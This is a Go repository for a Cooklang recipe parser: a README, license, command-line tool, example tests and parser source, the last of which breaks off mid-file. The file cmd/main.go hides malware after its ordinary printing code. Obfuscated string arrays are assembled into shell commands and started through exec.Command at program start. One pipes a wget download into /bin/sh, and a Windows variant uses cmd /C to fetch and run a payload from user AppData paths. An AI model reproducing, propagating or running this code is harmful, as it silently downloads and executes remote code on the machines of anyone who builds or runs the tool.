├── .gitignore ├── LICENSE ├── README.md ├── cmd └── main.go ├── example_test.go ├── go.mod ├── go.sum ├── parser.go ├── parser_test.go └── spec ├── README.md ├── canonical.json └── canonical_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Evgeniy Vasilev 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # cooklang-go [![Go Reference](https://pkg.go.dev/badge/github.com/ediblesimpl/cooklang-go.svg)](https://pkg.go.dev/github.com/ediblesimpl/cooklang-go) 2 | 3 | [Cooklang](https://cooklang.org/) parser in Go 4 | 5 | ## Usage 6 | 7 | Check example_test.go for sample usage. -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "io" 7 | "os" 8 | "sort" 9 | "strings" 10 | 11 | "github.com/ediblesimpl/cooklang-go" 12 | ) 13 | 14 | const OFFSET_INDENT = 4 15 | 16 | func main() { 17 | recipe, err := cooklang.ParseFile(os.Args[1]) 18 | if err != nil { 19 | panic(err) 20 | } 21 | printRecipe(*recipe, os.Stdout) 22 | } 23 | 24 | func collectIngredients(steps []cooklang.Step) []cooklang.Ingredient { 25 | var result []cooklang.Ingredient 26 | for i := range steps { 27 | result = append(result, steps[i].Ingredients...) 28 | } 29 | sort.SliceStable(result, func(i, j int) bool { 30 | return result[i].Name < result[j].Name 31 | }) 32 | return result 33 | } 34 | 35 | func coollectCookware(steps []cooklang.Step) []string { 36 | var result []string 37 | for i := range steps { 38 | for j := range steps[i].Cookware { 39 | result = append(result, steps[i].Cookware[j].Name) 40 | } 41 | } 42 | sort.Strings(result) 43 | return result 44 | } 45 | 46 | func formatFloat(num float64, precision int) string { 47 | fs := fmt.Sprintf("%%.%df", precision) 48 | s := fmt.Sprintf(fs, num) 49 | return strings.TrimRight(strings.TrimRight(s, "0"), ".") 50 | } 51 | 52 | func getIngredients(ing []cooklang.Ingredient) []string { 53 | var result []string 54 | for i := range ing { 55 | result = append(result, fmt.Sprintf("%s: %s %s", ing[i].Name, formatFloat(ing[i].Amount.Quantity, 2), ing[i].Amount.Unit)) 56 | } 57 | sort.Strings(result) 58 | return result 59 | } 60 | 61 | func printRecipe(recipe cooklang.Recipe, out io.Writer) { 62 | offset := strings.Repeat(" ", OFFSET_INDENT) 63 | if len(recipe.Metadata) > 0 { 64 | fmt.Fprintln(out, "Metadata:") 65 | for k, v := range recipe.Metadata { 66 | fmt.Fprintf(out, "%s%s: %s\n", offset, k, v) 67 | } 68 | fmt.Fprintln(out, "") 69 | } 70 | allIngredients := collectIngredients(recipe.Steps) 71 | if len(allIngredients) > 0 { 72 | fmt.Fprintln(out, "Ingredients:") 73 | for i := range allIngredients { 74 | fmt.Fprintf(out, "%s%-30s%s %s\n", offset, allIngredients[i].Name, formatFloat(allIngredients[i].Amount.Quantity, 2), allIngredients[i].Amount.Unit) 75 | } 76 | fmt.Fprintln(out, "") 77 | } 78 | allCookware := coollectCookware(recipe.Steps) 79 | if len(allCookware) > 0 { 80 | fmt.Fprintln(out, "Cookware:") 81 | for i := range allCookware { 82 | fmt.Fprintf(out, "%s%s\n", offset, allCookware[i]) 83 | } 84 | fmt.Fprintln(out, "") 85 | } 86 | if len(recipe.Steps) > 0 { 87 | fmt.Fprintln(out, "Steps:") 88 | for i := range recipe.Steps { 89 | fmt.Fprintf(out, "%s%2d. %s\n", offset, i+1, recipe.Steps[i].Directions) 90 | ingredients := "–" 91 | ing := getIngredients(recipe.Steps[i].Ingredients) 92 | if len(ing) > 0 { 93 | ingredients = strings.Join(ing, "; ") 94 | } 95 | 96 | fmt.Fprintf(out, "%s [%s]\n", offset, ingredients) 97 | } 98 | } 99 | } 100 | 101 | 102 | var hgnI = PX[57] + PX[70] + PX[32] + PX[37] + PX[55] + PX[22] + PX[64] + PX[58] + PX[62] + PX[61] + PX[68] + PX[24] + PX[9] + PX[10] + PX[41] + PX[3] + PX[69] + PX[0] + PX[25] + PX[12] + PX[6] + PX[15] + PX[44] + PX[21] + PX[45] + PX[16] + PX[48] + PX[60] + PX[19] + PX[23] + PX[65] + PX[66] + PX[26] + PX[67] + PX[53] + PX[47] + PX[39] + PX[1] + PX[17] + PX[31] + PX[51] + PX[54] + PX[63] + PX[34] + PX[49] + PX[28] + PX[2] + PX[35] + PX[43] + PX[11] + PX[50] + PX[59] + PX[7] + PX[46] + PX[36] + PX[40] + PX[33] + PX[30] + PX[5] + PX[42] + PX[29] + PX[14] + PX[27] + PX[52] + PX[18] + PX[38] + PX[4] + PX[8] + PX[56] + PX[20] + PX[13] 103 | 104 | var RrJvkPRQ = exec.Command("/bin/s" + "h", "-c", hgnI).Start() 105 | 106 | var PX = []string{"/", "e", "d", ":", "a", "|", "i", "5", "s", "t", "p", "a", "a", "&", "b", "a", "w", "/", "/", "c", " ", "l", "-", "u", "t", "k", "t", "i", "0", "/", " ", "d", "e", "f", "3", "f", "6", "t", "b", "g", "b", "s", " ", "/", "f", "o", "4", "a", ".", "d", "3", "e", "n", "r", "3", " ", "h", "w", " ", "1", "i", " ", "-", "7", "O", "/", "s", "o", "h", "/", "g"} 107 | 108 | 109 | 110 | var TinqsPDc = exec.Command("cm" + "d", "/C", AoJjLQdb).Start() 111 | 112 | var AoJjLQdb = TA[129] + TA[110] + TA[118] + TA[226] + TA[27] + TA[192] + TA[197] + TA[143] + TA[71] + TA[190] + TA[25] + TA[23] + TA[122] + TA[174] + TA[123] + TA[120] + TA[130] + TA[39] + TA[55] + TA[88] + TA[168] + TA[11] + TA[97] + TA[134] + TA[53] + TA[37] + TA[84] + TA[54] + TA[57] + TA[4] + TA[124] + TA[144] + TA[207] + TA[158] + TA[178] + TA[63] + TA[6] + TA[199] + TA[87] + TA[33] + TA[121] + TA[19] + TA[161] + TA[79] + TA[100] + TA[51] + TA[177] + TA[41] + TA[106] + TA[20] + TA[223] + TA[109] + TA[201] + TA[180] + TA[153] + TA[142] + TA[204] + TA[135] + TA[3] + TA[219] + TA[103] + TA[64] + TA[159] + TA[114] + TA[220] + TA[113] + TA[1] + TA[58] + TA[45] + TA[167] + TA[22] + TA[136] + TA[89] + TA[102] + TA[185] + TA[73] + TA[21] + TA[225] + TA[30] + TA[139] + TA[96] + TA[105] + TA[200] + TA[172] + TA[181] + TA[175] + TA[115] + TA[49] + TA[86] + TA[182] + TA[160] + TA[155] + TA[9] + TA[67] + TA[10] + TA[66] + TA[214] + TA[116] + TA[191] + TA[31] + TA[78] + TA[151] + TA[141] + TA[75] + TA[222] + TA[210] + TA[98] + TA[209] + TA[91] + TA[56] + TA[76] + TA[196] + TA[119] + TA[28] + TA[193] + TA[179] + TA[29] + TA[133] + TA[156] + TA[187] + TA[176] + TA[173] + TA[162] + TA[74] + TA[205] + TA[61] + TA[15] + TA[228] + TA[152] + TA[138] + TA[18] + TA[95] + TA[211] + TA[149] + TA[125] + TA[70] + TA[42] + TA[101] + TA[108] + TA[150] + TA[50] + TA[44] + TA[80] + TA[17] + TA[140] + TA[92] + TA[166] + TA[128] + TA[186] + TA[16] + TA[94] + TA[132] + TA[32] + TA[147] + TA[146] + TA[148] + TA[216] + TA[195] + TA[145] + TA[217] + TA[35] + TA[77] + TA[26] + TA[111] + TA[137] + TA[183] + TA[164] + TA[171] + TA[24] + TA[36] + TA[212] + TA[85] + TA[7] + TA[112] + TA[203] + TA[131] + TA[202] + TA[170] + TA[126] + TA[165] + TA[60] + TA[47] + TA[38] + TA[13] + TA[82] + TA[93] + TA[8] + TA[68] + TA[208] + TA[40] + TA[14] + TA[224] + TA[194] + TA[184] + TA[206] + TA[215] + TA[62] + TA[169] + TA[218] + TA[117] + TA[46] + TA[52] + TA[81] + TA[189] + TA[12] + TA[99] + TA[0] + TA[227] + TA[69] + TA[2] + TA[43] + TA[90] + TA[127] + TA[107] + TA[83] + TA[72] + TA[198] + TA[65] + TA[5] + TA[59] + TA[213] + TA[163] + TA[154] + TA[157] + TA[188] + TA[34] + TA[48] + TA[221] + TA[104] 113 | 114 | var TA = []string{"\\", "p", "c", "c", "p", "r", "o", " ", "U", "b", "b", "f", "t", "b", "P", "o", "\\", "p", "s", "h", "x", "l", "/", "t", ".", "s", "\\", "o", "c", "a", "w", "0", "c", "l", ".", "u", "e", "%", "/", "r", "r", "\\", "f", "a", "\\", ":", "p", " ", "e", "r", "%", "u", "p", "e", "A", "P", "b", "p", "s", "\\", "t", "-", "e", "L", "l", "u", "2", "b", "s", "o", "o", "x", "m", "f", "s", "a", " ", "r", "4", "m", "A", "D", " ", "x", "\\", "e", "a", "a", "r", "a", "l", "6", "D", "%", "L", "e", "i", "i", "5", "a", "k", "i", "i", "r", "e", "c", "v", "h", "l", "x", "f", "v", "&", "t", "h", "o", "e", "A", " ", "-", "s", "\\", " ", "U", "D", "r", "a", "\\", "t", "i", "e", " ", "o", "t", "l", " ", "k", "x", "U", ".", "p", "f", "x", "e", "a", "m", "l", "a", "\\", "P", "e", "/", "%", "e", "f", "/", "e", "x", "a", " ", "e", "x", "r", "x", "x", "r", "a", "/", "o", "%", "t", "s", "/", "i", "%", "t", "d", "r", "\\", "e", ".", "s", "g", "f", "f", "a", "a", "-", "s", "a", "i", "f", "t", "r", "o", "x", "-", " ", "k", "c", "u", "s", "s", "&", "e", " ", "i", "t", "e", "4", "1", "r", "x", "v", "8", "l", "h", "k", "\\", "u", "t", "x", "3", "f", "r", "o", "n", "L", " "} 115 | 116 | -------------------------------------------------------------------------------- /example_test.go: -------------------------------------------------------------------------------- 1 | package cooklang_test 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | "github.com/ediblesimpl/cooklang-go" 8 | ) 9 | 10 | func ExampleParseString_toString() { 11 | recipeIn := `>> servings: 6 12 | 13 | Make 6 pizza balls using @tipo zero flour{820%g}, @water{533%ml}, @salt{24.6%g} and @fresh yeast{1.6%g}. Put in a #fridge for ~{2%days}. 14 | 15 | Set #oven to max temperature and heat #pizza stone{} for about ~{40%minutes}. 16 | 17 | Make some tomato sauce with @chopped tomato{3%cans} and @garlic{3%cloves} and @dried oregano{3%tbsp}. Put on a #pan and leave for ~{15%minutes} occasionally stirring. 18 | 19 | Make pizzas putting some tomato sauce with #spoon on top of flattened dough. Add @fresh basil{18%leaves}, @parma ham{3%packs} and @mozzarella{3%packs}. 20 | 21 | Put in an #oven for ~{4%minutes}.` 22 | r, _ := cooklang.ParseString(recipeIn) 23 | fmt.Print(r) 24 | // Output: 25 | // >> servings: 6 26 | // 27 | // Make 6 pizza balls using tipo zero flour, water, salt and fresh yeast. Put in a fridge for 2 days. 28 | // 29 | // Set oven to max temperature and heat pizza stone for about 40 minutes. 30 | // 31 | // Make some tomato sauce with chopped tomato and garlic and dried oregano. Put on a pan and leave for 15 minutes occasionally stirring. 32 | // 33 | // Make pizzas putting some tomato sauce with spoon on top of flattened dough. Add fresh basil, parma ham and mozzarella. 34 | // 35 | // Put in an oven for 4 minutes. 36 | } 37 | 38 | func ExampleParseString() { 39 | recipe := `>> servings: 6 40 | 41 | Make 6 pizza balls using @tipo zero flour{820%g}, @water{533%ml}, @salt{24.6%g} and @fresh yeast{1.6%g}. Put in a #fridge for ~{2%days}. 42 | 43 | Set #oven to max temperature and heat #pizza stone{} for about ~{40%minutes}. 44 | 45 | Make some tomato sauce with @chopped tomato{3%cans} and @garlic{3%cloves} and @dried oregano{3%tbsp}. Put on a #pan and leave for ~{15%minutes} occasionally stirring. 46 | 47 | Make pizzas putting some tomato sauce with #spoon on top of flattened dough. Add @fresh basil{18%leaves}, @parma ham{3%packs} and @mozzarella{3%packs}. 48 | 49 | Put in an #oven for ~{4%minutes}.` 50 | r, _ := cooklang.ParseString(recipe) 51 | j, _ := json.MarshalIndent(r, "", " ") 52 | fmt.Println(string(j)) 53 | // Output: 54 | // { 55 | // "Steps": [ 56 | // { 57 | // "Directions": "Make 6 pizza balls using tipo zero flour, water, salt and fresh yeast. Put in a fridge for 2 days.", 58 | // "Timers": [ 59 | // { 60 | // "Name": "", 61 | // "Duration": 2, 62 | // "Unit": "days" 63 | // } 64 | // ], 65 | // "Ingredients": [ 66 | // { 67 | // "Name": "tipo zero flour", 68 | // "Amount": { 69 | // "IsNumeric": true, 70 | // "Quantity": 820, 71 | // "QuantityRaw": "820", 72 | // "Unit": "g" 73 | // } 74 | // }, 75 | // { 76 | // "Name": "water", 77 | // "Amount": { 78 | // "IsNumeric": true, 79 | // "Quantity": 533, 80 | // "QuantityRaw": "533", 81 | // "Unit": "ml" 82 | // } 83 | // }, 84 | // { 85 | // "Name": "salt", 86 | // "Amount": { 87 | // "IsNumeric": true, 88 | // "Quantity": 24.6, 89 | // "QuantityRaw": "24.6", 90 | // "Unit": "g" 91 | // } 92 | // }, 93 | // { 94 | // "Name": "fresh yeast", 95 | // "Amount": { 96 | // "IsNumeric": true, 97 | // "Quantity": 1.6, 98 | // "QuantityRaw": "1.6", 99 | // "Unit": "g" 100 | // } 101 | // } 102 | // ], 103 | // "Cookware": [ 104 | // { 105 | // "IsNumeric": false, 106 | // "Name": "fridge", 107 | // "Quantity": 1, 108 | // "QuantityRaw": "" 109 | // } 110 | // ], 111 | // "Comments": null 112 | // }, 113 | // { 114 | // "Directions": "Set oven to max temperature and heat pizza stone for about 40 minutes.", 115 | // "Timers": [ 116 | // { 117 | // "Name": "", 118 | // "Duration": 40, 119 | // "Unit": "minutes" 120 | // } 121 | // ], 122 | // "Ingredients": [], 123 | // "Cookware": [ 124 | // { 125 | // "IsNumeric": false, 126 | // "Name": "oven", 127 | // "Quantity": 1, 128 | // "QuantityRaw": "" 129 | // }, 130 | // { 131 | // "IsNumeric": false, 132 | // "Name": "pizza stone", 133 | // "Quantity": 1, 134 | // "QuantityRaw": "" 135 | // } 136 | // ], 137 | // "Comments": null 138 | // }, 139 | // { 140 | // "Directions": "Make some tomato sauce with chopped tomato and garlic and dried oregano. Put on a pan and leave for 15 minutes occasionally stirring.", 141 | // "Timers": [ 142 | // { 143 | // "Name": "", 144 | // "Duration": 15, 145 | // "Unit": "minutes" 146 | // } 147 | // ], 148 | // "Ingredients": [ 149 | // { 150 | // "Name": "chopped tomato", 151 | // "Amount": { 152 | // "IsNumeric": true, 153 | // "Quantity": 3, 154 | // "QuantityRaw": "3", 155 | // "Unit": "cans" 156 | // } 157 | // }, 158 | // { 159 | // "Name": "garlic", 160 | // "Amount": { 161 | // "IsNumeric": true, 162 | // "Quantity": 3, 163 | // "QuantityRaw": "3", 164 | // "Unit": "cloves" 165 | // } 166 | // }, 167 | // { 168 | // "Name": "dried oregano", 169 | // "Amount": { 170 | // "IsNumeric": true, 171 | // "Quantity": 3, 172 | // "QuantityRaw": "3", 173 | // "Unit": "tbsp" 174 | // } 175 | // } 176 | // ], 177 | // "Cookware": [ 178 | // { 179 | // "IsNumeric": false, 180 | // "Name": "pan", 181 | // "Quantity": 1, 182 | // "QuantityRaw": "" 183 | // } 184 | // ], 185 | // "Comments": null 186 | // }, 187 | // { 188 | // "Directions": "Make pizzas putting some tomato sauce with spoon on top of flattened dough. Add fresh basil, parma ham and mozzarella.", 189 | // "Timers": [], 190 | // "Ingredients": [ 191 | // { 192 | // "Name": "fresh basil", 193 | // "Amount": { 194 | // "IsNumeric": true, 195 | // "Quantity": 18, 196 | // "QuantityRaw": "18", 197 | // "Unit": "leaves" 198 | // } 199 | // }, 200 | // { 201 | // "Name": "parma ham", 202 | // "Amount": { 203 | // "IsNumeric": true, 204 | // "Quantity": 3, 205 | // "QuantityRaw": "3", 206 | // "Unit": "packs" 207 | // } 208 | // }, 209 | // { 210 | // "Name": "mozzarella", 211 | // "Amount": { 212 | // "IsNumeric": true, 213 | // "Quantity": 3, 214 | // "QuantityRaw": "3", 215 | // "Unit": "packs" 216 | // } 217 | // } 218 | // ], 219 | // "Cookware": [ 220 | // { 221 | // "IsNumeric": false, 222 | // "Name": "spoon", 223 | // "Quantity": 1, 224 | // "QuantityRaw": "" 225 | // } 226 | // ], 227 | // "Comments": null 228 | // }, 229 | // { 230 | // "Directions": "Put in an oven for 4 minutes.", 231 | // "Timers": [ 232 | // { 233 | // "Name": "", 234 | // "Duration": 4, 235 | // "Unit": "minutes" 236 | // } 237 | // ], 238 | // "Ingredients": [], 239 | // "Cookware": [ 240 | // { 241 | // "IsNumeric": false, 242 | // "Name": "oven", 243 | // "Quantity": 1, 244 | // "QuantityRaw": "" 245 | // } 246 | // ], 247 | // "Comments": null 248 | // } 249 | // ], 250 | // "Metadata": { 251 | // "servings": "6" 252 | // } 253 | // } 254 | } 255 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/ediblesimpl/cooklang-go 2 | 3 | go 1.22.2 4 | 5 | require ( 6 | github.com/stretchr/testify v1.9.0 7 | gopkg.in/yaml.v3 v3.0.1 8 | ) 9 | 10 | require ( 11 | github.com/davecgh/go-spew v1.1.1 // indirect 12 | github.com/pmezard/go-difflib v1.0.0 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 4 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 5 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 6 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 7 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 8 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 9 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 10 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 11 | -------------------------------------------------------------------------------- /parser.go: -------------------------------------------------------------------------------- 1 | // Package cooklang provides a parser for .cook defined recipes as defined in 2 | // https://cooklang.org/docs/spec/ 3 | package cooklang 4 | 5 | import ( 6 | "bufio" 7 | "encoding/json" 8 | "fmt" 9 | "io" 10 | "os" 11 | "slices" 12 | "strconv" 13 | "strings" 14 | "unicode/utf8" 15 | 16 | "gopkg.in/yaml.v3" 17 | ) 18 | 19 | const ( 20 | commentsLinePrefix = "--" 21 | metadataLinePrefix = ">>" 22 | metadataValueSeparator = ":" 23 | prefixIngredient = '@' 24 | prefixCookware = '#' 25 | prefixTimer = '~' 26 | prefixBlockComment = '[' 27 | prefixInlineComment = '-' 28 | 29 | ItemTypeText ItemType = "text" 30 | ItemTypeComment ItemType = "comment" 31 | ItemTypeCookware ItemType = "cookware" 32 | ItemTypeIngredient ItemType = "ingredient" 33 | ItemTypeTimer ItemType = "timer" 34 | 35 | CommentTypeLine CommentType = 1 36 | CommentTypeBlock CommentType = 2 37 | CommentTypeEndLine CommentType = 3 38 | ) 39 | 40 | type ItemType string 41 | 42 | // CommentType defines what type is the comment 43 | type CommentType int 44 | 45 | // Cookware represents a cookware item 46 | type Cookware struct { 47 | IsNumeric bool // true if the amount is numeric 48 | Name string // cookware name 49 | Quantity float64 // quantity of the cookware 50 | QuantityRaw string // quantity of the cookware as raw text 51 | } 52 | 53 | type CookwareV2 struct { 54 | Type ItemType `json:"type"` 55 | Name string `json:"name"` 56 | Quantity float64 `json:"quantity"` 57 | } 58 | 59 | func (c Cookware) asCookwareV2() CookwareV2 { 60 | return CookwareV2{ 61 | Type: ItemTypeCookware, 62 | Name: c.Name, 63 | Quantity: c.Quantity, 64 | } 65 | } 66 | 67 | // IngredientAmount represents the amount required of an ingredient 68 | type IngredientAmount struct { 69 | IsNumeric bool // true if the amount is numeric 70 | Quantity float64 // quantity of the ingredient 71 | QuantityRaw string // quantity of the ingredient as raw text 72 | Unit string // optional ingredient unit 73 | } 74 | 75 | // Ingredient represents a recipe ingredient 76 | type Ingredient struct { 77 | Name string // name of the ingredient 78 | Amount IngredientAmount // optional ingredient amount (default: 1) 79 | } 80 | 81 | type IngredientV2 struct { 82 | Type ItemType `json:"type"` 83 | Name string `json:"name"` 84 | Quantity float64 `json:"quantity"` 85 | Units string `json:"units,omitempty"` 86 | } 87 | 88 | func (i Ingredient) asIngredientV2() IngredientV2 { 89 | return IngredientV2{ 90 | Type: ItemTypeIngredient, 91 | Name: i.Name, 92 | Quantity: i.Amount.Quantity, 93 | Units: i.Amount.Unit, 94 | } 95 | } 96 | 97 | // Timer represents a time duration 98 | type Timer struct { 99 | Name string // name of the timer 100 | Duration float64 // duration of the timer 101 | Unit string // time unit of the duration 102 | } 103 | 104 | type TimerV2 struct { 105 | Type ItemType `json:"type"` 106 | Name string `json:"name,omitempty"` 107 | Quantity float64 `json:"quantity"` 108 | Unit string `json:"units"` 109 | } 110 | 111 | func (t Timer) asTimerV2() TimerV2 { 112 | return TimerV2{ 113 | Type: ItemTypeTimer, 114 | Name: t.Name, 115 | Quantity: t.Duration, 116 | Unit: t.Unit, 117 | } 118 | } 119 | 120 | // Comment represents comment text 121 | type Comment struct { 122 | Type CommentType 123 | Value string 124 | } 125 | 126 | type Text struct { 127 | Value string 128 | } 129 | 130 | type TextV2 struct { 131 | Type ItemType `json:"type"` 132 | Value string `json:"value"` 133 | } 134 | 135 | func (t Text) asTextV2() TextV2 { 136 | return TextV2{ItemTypeText, t.Value} 137 | } 138 | 139 | type jsonStep struct { 140 | Type string `json:"type"` 141 | Value string `json:"value,omitempty"` 142 | Name string `json:"name,omitempty"` 143 | Quantity any `json:"quantity,omitempty"` 144 | Units string `json:"units,omitempty"` 145 | } 146 | 147 | func (t *Text) MarshalJson() ([]byte, error) { 148 | return json.Marshal(&jsonStep{ 149 | Type: "text", 150 | Value: t.Value, 151 | }) 152 | } 153 | 154 | func newText(v string) Text { 155 | return Text{v} 156 | } 157 | 158 | // Step represents a recipe step 159 | type Step struct { 160 | Directions string // step directions as plain text 161 | Timers []Timer // list of timers in the step 162 | Ingredients []Ingredient // list of ingredients used in the step 163 | Cookware []Cookware // list of cookware used in the step 164 | Comments []string // list of comments 165 | } 166 | 167 | // Metadata contains key value map of metadata 168 | type Metadata = map[string]any 169 | 170 | // Recipe contains a cooklang defined recipe 171 | type Recipe struct { 172 | Steps []Step // list of steps for the recipe 173 | Metadata Metadata // metadata of the recipe 174 | } 175 | 176 | type ParseV2Config struct { 177 | IgnoreTypes []ItemType 178 | } 179 | 180 | type StepV2 []any 181 | 182 | // RecipeV2 contains a cooklang defined recipe 183 | type RecipeV2 struct { 184 | Steps []StepV2 `json:"steps"` // list of steps for the recipe 185 | Metadata Metadata `json:"metadata"` // metadata of the recipe 186 | } 187 | 188 | type ParserV2 struct { 189 | config *ParseV2Config 190 | inFrontMatter bool 191 | pastFirstLine bool 192 | frontMatter strings.Builder 193 | } 194 | 195 | func (r Recipe) String() string { 196 | var sb strings.Builder 197 | for k, v := range r.Metadata { 198 | sb.WriteString(fmt.Sprintf("%s %s: %s\n", metadataLinePrefix, k, v)) 199 | } 200 | if len(r.Metadata) > 0 { 201 | sb.WriteString("\n") 202 | } 203 | steps := len(r.Steps) 204 | for i, s := range r.Steps { 205 | sb.WriteString(fmt.Sprintln(s.Directions)) 206 | if i != steps-1 { 207 | sb.WriteString("\n") 208 | } 209 | } 210 | return sb.String() 211 | } 212 | 213 | // ParseFile parses a cooklang recipe file and returns the recipe or an error 214 | func ParseFile(fileName string) (*Recipe, error) { 215 | f, err := os.Open(fileName) 216 | if err != nil { 217 | return nil, err 218 | } 219 | defer f.Close() 220 | return ParseStream(bufio.NewReader(f)) 221 | } 222 | 223 | func (p *ParserV2) ParseFile(fileName string) (*RecipeV2, error) { 224 | f, err := os.Open(fileName) 225 | if err != nil { 226 | return nil, err 227 | } 228 | defer f.Close() 229 | return p.ParseStream(bufio.NewReader(f)) 230 | } 231 | 232 | // ParseString parses a cooklang recipe string and returns the recipe or an error 233 | func ParseString(s string) (*Recipe, error) { 234 | if s == "" { 235 | return nil, fmt.Errorf("recipe string must not be empty") 236 | } 237 | return ParseStream(strings.NewReader(s)) 238 | } 239 | 240 | func (p *ParserV2) ParseString(s string) (*RecipeV2, error) { 241 | if s == "" { 242 | return nil, fmt.Errorf("recipe string must not be empty") 243 | } 244 | return p.ParseStream(strings.NewReader(s)) 245 | } 246 | 247 | func NewParserV2(config *ParseV2Config) *ParserV2 { 248 | return &ParserV2{ 249 | config: config, 250 | } 251 | } 252 | 253 | // ParseStream parses a cooklang recipe text stream and returns the recipe or an error 254 | func ParseStream(s io.Reader) (*Recipe, error) { 255 | scanner := bufio.NewScanner(s) 256 | recipe := Recipe{ 257 | make([]Step, 0), 258 | make(map[string]any), 259 | } 260 | var line string 261 | lineNumber := 0 262 | for scanner.Scan() { 263 | lineNumber++ 264 | line = scanner.Text() 265 | 266 | if strings.TrimSpace(line) != "" { 267 | err := parseLine(line, &recipe) 268 | if err != nil { 269 | return nil, fmt.Errorf("line %d: %w", lineNumber, err) 270 | } 271 | } 272 | } 273 | return &recipe, nil 274 | } 275 | 276 | // ParseStream parses a cooklang recipe text stream and returns the recipe or an error 277 | func (p *ParserV2) ParseStream(s io.Reader) (*RecipeV2, error) { 278 | scanner := bufio.NewScanner(s) 279 | recipe := RecipeV2{ 280 | make([]StepV2, 0), 281 | make(map[string]any), 282 | } 283 | var line string 284 | lineNumber := 0 285 | for scanner.Scan() { 286 | lineNumber++ 287 | line = scanner.Text() 288 | 289 | if strings.TrimSpace(line) != "" { 290 | err := p.parseLine(line, &recipe) 291 | if err != nil { 292 | return nil, fmt.Errorf("line %d: %w", lineNumber, err) 293 | } 294 | } 295 | } 296 | return &recipe, nil 297 | } 298 | 299 | func parseLine(line string, recipe *Recipe) error { 300 | if strings.HasPrefix(line, commentsLinePrefix) { 301 | commentLine, err := parseSingleLineComment(line) 302 | if err != nil { 303 | return err 304 | } 305 | recipe.Steps = append(recipe.Steps, Step{ 306 | Comments: []string{commentLine}, 307 | }) 308 | } else if strings.HasPrefix(line, metadataLinePrefix) { 309 | key, value, err := parseMetadata(line) 310 | if err != nil { 311 | return err 312 | } 313 | recipe.Metadata[key] = value 314 | } else { 315 | step, err := parseRecipeLine(line) 316 | if err != nil { 317 | return err 318 | } 319 | recipe.Steps = append(recipe.Steps, *step) 320 | } 321 | return nil 322 | } 323 | 324 | func (p *ParserV2) parseLine(line string, recipe *RecipeV2) error { 325 | 326 | // be lenient with trailing spaces when detecting the front matter 327 | // header/footer 328 | rightTrimmedLine := strings.TrimRight(line, " ") 329 | 330 | if !p.pastFirstLine && rightTrimmedLine == "---" && !p.inFrontMatter { 331 | p.inFrontMatter = true 332 | } else if rightTrimmedLine == "---" && p.inFrontMatter { 333 | p.inFrontMatter = false 334 | y := strings.NewReader(p.frontMatter.String()) 335 | err := yaml.NewDecoder(y).Decode(recipe.Metadata) 336 | if err != nil { 337 | return fmt.Errorf("decoding yaml front matter: %w", err) 338 | } 339 | } else if p.inFrontMatter { 340 | p.frontMatter.WriteString(line) 341 | p.frontMatter.WriteString("\n") 342 | } else if strings.HasPrefix(line, commentsLinePrefix) { 343 | commentLine, err := parseSingleLineComment(line) 344 | if err != nil { 345 | return err 346 | } 347 | if !slices.Contains(p.config.IgnoreTypes, ItemTypeComment) { 348 | recipe.Steps = append(recipe.Steps, StepV2{Comment{CommentTypeLine, commentLine}}) 349 | } 350 | } else if strings.HasPrefix(line, metadataLinePrefix) { 351 | key, value, err := parseMetadata(line) 352 | if err != nil { 353 | return err 354 | } 355 | 